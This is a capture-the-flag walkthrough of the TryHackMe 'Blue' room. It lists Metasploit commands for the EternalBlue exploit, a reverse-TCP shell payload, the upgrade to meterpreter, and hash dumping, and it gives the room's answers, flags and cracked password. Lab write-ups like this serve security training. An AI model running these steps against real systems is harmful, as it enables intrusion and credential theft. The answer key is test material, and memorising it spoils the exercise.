Hacking into Deep — Blue TryHackMe Lab

you can find it here “https://tryhackme.com/room/blue”
Now let’s get started,

Task 1:

make sure to start the machine by clicking on “Start Machine” Button

Q1: We’re going to scan the machine using a Great tool “nmap”
(I recommend checking out the Nmap room)

nmap -sV machine_ip

Answer: No need

Q2: you can manually calculate it

Answer: 3

Q3: If we tried to search about the version of port 445 we will find an exist exploit for it called “ms17–010 EternalBlue”

Answer: ms17–010

Task 2:

Q1: Starting Metasploit by typing

msfconsole

Answer: No need

Q2: Search for ms17–010

search ms17–010

you can use this exploit by typing

use 0
OR
use exploit/windows/smb/ms17_010_eternalblue

Answer: exploit/windows/smb/ms17_010_eternalblue

Q3: let’s see options by typing

show options

we can realize that “RHOSTS” option is required let’s fill it with Target_IP

use rhosts Machine_IP

Answer: RHOSTS

Q4: before run the exploit we should do one more thing try to run this command

set payload windows/x64/shell/reverse_tcp

now let’s run the exploit by typing

run
OR
exploit

Answer: No need

Q5: Answer: No need

Task 3:

Q1: let’s background the process ( CTRL + Z ) and then let’s esclate the shell to a meterpreter shell

use post/multi/manage/shell_to_meterpreter

Answer: post/multi/manage/shell_to_meterpreter

Q2: let’s show what options we need to fill

show options

as we can see “SESSION” option is required

Get Mohamed Sayed (U S A N)’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

what does this mean ?

we did before background our shell “Session” now let’s see how to show our sessions, try to type

sessions -l

now let’s set the “SESSION” option to our session id

set session 2

and run

run
OR
exploit

if the shell is opened successfully you will see something like this

if tried to list our sessions u will see that we have a new session with the highest privileges over the system “NT AUTHORITY\SYSTEM”

now let’s see the process that running at the background on the target machine

ps

let’s migrate our shell to a powershell

migrate 3016

Task 4:

Q1: let’s dump some info by using command

hashdump

Answer: Jon

Q2: learn how to crack hashes try to search for tools like “hashcat” or “John the ripper”

Answer: alqfna22

Task 5:

Q1: hmm…Flag1 ! give yourself a moment to think….can be found at system root which it’s C:\\
so let’s navigate to C:\\

cd C:\\
# dir used to list our folders and files
dir

Ohh…here it’s let’s see its contents

type flag1.txt

Answer: flag{access_the_machine}

Q2: I’m not gonna lie I don’t know where is this flag2
let’s search

search -f flag.txt

Oh that was smooth, yeah hacking is easy

let’s see it’s content

Answer: flag{sam_database_elevated_access}

Q3: as previous we’re going to search for it

search -f flag3.txt

navigate to c:\Users\Jon\Documents\flag3.txt

Answer: flag{admin_documents_can_be_valuable}

Finally we did it let’s see if can keep up and do more than what we did….

Enjoy and happy hacking